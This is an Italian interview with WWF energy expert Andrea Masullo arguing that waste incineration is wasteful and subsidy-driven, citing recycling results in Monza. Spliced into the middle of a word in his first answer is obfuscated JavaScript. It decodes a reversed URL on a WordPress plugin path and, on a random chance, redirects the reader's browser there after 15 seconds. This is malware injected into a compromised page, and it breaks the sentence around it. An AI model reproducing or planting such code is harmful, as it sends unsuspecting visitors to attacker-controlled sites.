Cenere oggi, problemi domani

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Andrea Masullo insegna Teoria dello sviluppo sostenibile all’Università di Camerino ed è il responsabile per WWF Italia del settore Clima ed Energia. Viste le sue competenze, ci è sembrata la persona adatta da interpellare in merito alla presunta “convenienza” di trasformare i rifiuti in energia.
La produzione di energia elettrica da incenerimento di rifiuti, per un esperto di energie, è una scelta sensata?
Spingere riduzione e riciclaggio è dal punto di vista energetico dalle 3 alle 4 volte più vantaggioso rispetto al conferimento in “termovalorizzatori”. Per molti materiali come ad esempio la plastica, la produzione richiede molta più energia di quanta se ne può ricavare bruci (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andoli, inoltre realizzare il “termovalorizzatore” significa bloccare di fatto ogni investimento sulla “Cultura Rifiuti-Zero” perché gli impianti fagocitano grosse quantità di rifiuti dai quali si diventa dipendenti.
Chi si aggiudica gli appalti per la costruzione dei cosiddetti “termovalorizzatori”?
In Italia le tecnologie fanno riferimento a quelle aziende che hanno nel loro core-business grossi impianti di combustione come Fiat, Eni e Ansaldo. A parte alcune tecnologie straniere come il plasma, com’è avvenuto in Trentino.
Cosa pensa dell’opposizione agli inceneritori giocata sul fattore sicurezza e salute?
L’opposizione alla termovalorizzazione dovrebbe sussistere se anche ci fosse una completa garanzia sulla sicurezza sanitaria, semplicemente perché si tratta di una scelta strategicamente sbagliata. Sul piano della sicurezza posso dire che ogni camion che porta rifiuti all’inceneritore porta un combustibile diverso, con dentro componenti diverse. Ogni partita di combustibile è imprevedibile ed è impossibile mantenere un forno in condizioni “standard” di sicurezza.
Un argomento molto usato dai favorevoli all’incenerimento è l’emergenza. Quali sono i tempi per affrontare in modo diverso il problema della gestione dei rifiuti?
A Monza, grazie all’intervento della Scuola Agraria del Parco di Monza è stata organizzata una raccolta differenziata veramente efficace. In pochi mesi la città è passata da 500 kg pro capite di produzione annua di rifiuti a 400 kg. Dunque una riduzione del 20% ottenuta in meno di un anno, con una raccolta differenziata balzata dal 9% a quasi il 50%. Il risultato, con una buona politica, si vedrebbe in tempi brevissimi.
Ci può chiarire la scelta di dare sussidi pubblici alla termo-valorizzazione?
Il decreto Bersani catalogò i rifiuti come fonte energetica rinnovabile. Nel 2003 l’Italia ha recepito la direttiva europea in merito estendendo i benefici destinati alle energie rinnovabili a una serie di altre cose, tra cui i rifiuti. Ma nei rifiuti il componente che brucia meglio è la plastica, e nessuno può affermare che la plastica sia un combustibile “rinnovabile”, essendo un derivato del petrolio, combustibile fossile, non rinnovabile e inquinante! Più del 50% delle risorse destinate all’affrancamento dal petrolio in Italia vanno al suo indiretto utilizzo attraverso i rifiuti. Consideriamo che il ricorso alle fonti rinnovabili è parte centrale delle politiche di riduzione della CO2 per il rispetto del Protocollo di Kyoto, mentre l’incenerimento dei rifiuti produce CO2 ed altri gas responsabili dei cambiamenti climatici.
La produzione di energia elettrica da incenerimento si presenta bene: poca fatica (perché il combustibile lo produco comunque) e tanta energia gratuita. è così?
Quale industriale penserebbe mai di utilizzare i rifiuti come combustibile? Il rapporto massa-energia è pessimo: occorrono enormi quantità di “combustibile-rifiuti” per produrre modeste quantità di energia. Se togliamo l’attrattiva degli incentivi pubblici a nessun imprenditore verrebbe in mente un’attività del genere. Il business sono gli incentivi: sussidi senza i quali la termo-valorizzazione dei rifiuti non interesserebbe a nessuno, soldi pubblici sottratti a investimenti che dovrebbero essere destinati a energia eolica o solare, che ci potrebbero garantire un futuro sostenibile, aria pulita e ambiente sano, risorse essenziali per le generazioni future.
Anche dopo una politica di riduzione e riciclaggio si ottengono dei residui. Per questi qual è l’indicazione?
Quando un territorio riduce, riusa, ricicla e fa prevenzione, può arrivare fino al 10% di residuo. A quel punto la scelta non è più così drammatica, a patto di mantenere il criterio di “territorialità” e di smaltire quel che rimane all’interno del proprio territorio.
Perché tante amministrazioni puntano alla cosiddetta “termovalorizzazione”?
Una politica seria di riduzione e riciclaggio dei rifiuti muove filiere, crea attività, mette in rete realtà diverse dando spazio alle associazioni di categoria e alla società civile. Occorre aprire tavoli di confronto, entrare nel vivo delle discussioni, mettersi in gioco. Per una Pubblica Amministrazione moderna sarebbe una sfida interessante e molti comuni lo dimostrano. Purtroppo molte amministrazioni sono arretrate e si rassegnano a vivere come apparati passivi, preferendo indire un grande appalto e tagliare il nastro. Significa, al solito, lavarsene le mani e rimandare una soluzione alle generazioni che verranno. Scegliere l’incenerimento semplifica la vita di oggi e complica quella di domani.

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